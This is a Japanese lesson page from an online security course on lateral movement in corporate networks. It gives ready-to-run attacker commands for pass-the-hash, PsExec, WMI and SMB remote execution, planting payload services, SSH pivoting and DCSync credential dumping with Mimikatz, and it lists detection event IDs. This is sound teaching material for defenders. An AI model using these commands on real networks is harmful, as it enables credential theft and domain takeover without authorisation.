横方向移動のテクニック
WMI、PsExec、WinRM、SMB共有を使い、アラートを発生させずにネットワーク内を移動します。
「横方向移動のテクニック」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン3/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
ラテラルムーブメントとは何ですか?
ラテラルムーブメントとは、攻撃者が最初の侵害後にネットワーク内を段階的に移動するために使う一連の手法です。最初の足掛かりから、ドメインコントローラー、データベース、バックアップシステムなど、より価値の高いターゲットへと侵入範囲を広げます。
Pass-the-Hash(PtH)
WindowsのNTLM認証では、平文のパスワードの代わりにパスワードハッシュを直接使用できます。NTLMハッシュをダンプした攻撃者は、ハッシュをクラックしなくても他のシステムに認証できます。
# Impacket psexec with PtH:
impacket-psexec -hashes :NTLM_HASH_HERE administrator@10.0.0.5
# CrackMapExec:
crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASHPass-the-Ticket(PtT)
Kerberosチケット(TGTまたはTGS)はメモリから抽出してインポートでき、チケット所有者として認証できます。Golden Ticket攻撃では、KRBTGTハッシュを使ってTGTを偽造し、ドメインへの無制限のKerberosアクセスを得ます。
リモートコード実行:PSExec
psexec(SysinternalsおよびImpacket)は、SMBや管理共有を介してリモートのWindowsホスト上でコマンドを実行します。管理者の認証情報が必要です。ターゲット上にサービスバイナリを作成します。
impacket-psexec administrator:Password@10.0.0.5
# Or via Metasploit:
use exploit/windows/smb/psexecWMIによるラテラルムーブメント
Windows Management Instrumentationを使用すると、多くのツールで検出可能なファイルを作成せずにリモートコードを実行できます:
# Using wmiexec (Impacket):
impacket-wmiexec administrator:Password@10.0.0.5
# Or via PowerShell:
$wmi = [wmiclass]"\\10.0.0.5\root\cimv2:Win32_Process"
$wmi.Create("cmd.exe /c payload.exe")SMBと管理共有
Windowsの管理共有(C$、ADMIN$、IPC$)を使用すると、管理者の認証情報でラテラルムーブメントを実行できます:
# Mount admin share:
net use \\10.0.0.5\C$ /user:DOMAIN\administrator Password
# Copy and execute:
copy evil.exe \\10.0.0.5\C$\Windows\Temp\
impacket-smbexec administrator:Password@10.0.0.5リモートサービス:scとat
リモートシステム上にサービスやスケジュールタスクを作成します:
# Create remote service:
sc \\10.0.0.5 create EvilSvc binPath= "C:\Temp\payload.exe"
sc \\10.0.0.5 start EvilSvc
# Scheduled task:
impacket-atexec administrator:Password@10.0.0.5 "whoami > C:\Temp\out.txt"RDPと対話型セッション
RDP(Remote Desktop Protocol、ポート3389)は、完全な対話型アクセスを提供します。攻撃者は盗んだ認証情報を使ってRDPに接続します。防御策は、RDPをジャンプサーバーに制限し、NLAを必須にして、すべてのセッションをログに記録することです。
# RDP with stolen creds:
xfreerdp /u:administrator /p:Password /v:10.0.0.5
# Bypass NLA with NTLM hash:
xfreerdp /u:administrator /pth:NTLM_HASH /v:10.0.0.5ラテラルムーブメントにおけるSSH
Linux環境では、盗んだ鍵や認証情報を使ったSSHによってラテラルムーブメントを実行します。エージェントフォワーディングの悪用により、侵害済みホストを経由して侵入を広げます。SSHトンネルはポートを転送し、それ以外ではアクセスできないシステムに到達できるようにします。
# SSH pivoting:
ssh -L 5432:internal-db:5432 user@pivot_host
# SSH dynamic SOCKS proxy:
ssh -D 1080 user@pivot_hostActive Directoryレプリケーション(DCSync)
DCSyncはADレプリケーションを悪用し、DC上でコードを実行せずに、パスワードハッシュをDCから直接取得します。DS-Replication-Get-Changes-All権限が必要です:
# Impacket secretsdump:
impacket-secretsdump domain/user:password@dc_ip
# Mimikatz:
lsadump::dcsync /domain:corp.local /user:krbtgtラテラルムーブメントの検出
検出の指標:
- 通常とは異なるType 3(ネットワーク)ログオンを伴うイベント4624(ログオン)
- リモートホスト上でのサービス作成(イベント7045)
- ワークステーション間のSMB接続
- リモートホスト上でのWMIによるプロセス作成
- 異常なアカウントの挙動(1人のユーザーが複数のマシンからログインするなど)
クイックチェック:ラテラルムーブメント
キャプチャしたNTLMハッシュをクラックせずにWindowsシステムへ認証できる手法はどれですか?
レッスンのまとめ
ラテラルムーブメントでは、侵害された認証情報とプロトコルを使ってネットワーク内に侵入範囲を広げます。主な手法は、Pass-the-Hash(NTLMハッシュの再利用)、Pass-the-Ticket(Kerberos)、リモート実行のためのPSExec/WMI/SMB、ドメイン認証情報を収集するDCSyncです。検出には、通常とは異なるネットワークログオン(イベント4624)、リモートサービスの作成(イベント7045)、ワークステーション間のSMBトラフィックが役立ちます。
よくある質問
「横方向移動のテクニック」レッスンは無料ですか?
はい。「横方向移動のテクニック」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「横方向移動のテクニック」で何を学びますか?
WMI、PsExec、WinRM、SMB共有を使い、アラートを発生させずにネットワーク内を移動します。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/4です。
「横方向移動のテクニック」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。